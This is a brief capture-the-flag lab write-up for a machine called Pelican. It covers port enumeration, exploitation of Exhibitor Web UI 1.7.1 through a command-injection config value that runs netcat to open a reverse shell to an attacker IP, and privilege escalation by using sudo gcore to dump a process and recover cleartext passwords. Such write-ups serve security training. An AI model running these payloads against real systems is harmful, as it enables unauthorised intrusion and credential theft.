Pelican

Enumeration

8080/tcp  open  http        Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found

http://192.168.181.98:8080/exhibitor/v1/ui/index.html

Exhibitor Web UI 1.7.1 - Remote Code Execution

https://www.exploit-db.com/exploits/48654

Initial Access

Config:
$(/bin/nc -e /bin/sh 192.168.49.181 80 &)
---
curl -X POST -d @data.json http://192.168.181.98:8080/exhibitor/v1/config/set

PrivEsc

charles@pelican:~$ sudo -l

    (ALL) NOPASSWD: /usr/bin/gcore

charles@pelican:~$ sudo gcore $PID

Gcore is dumping a process with its PID value. So, if you have enough permission to execute it, you can get cleartext password from the process.

PreviousPaydayNextReadys

Last updated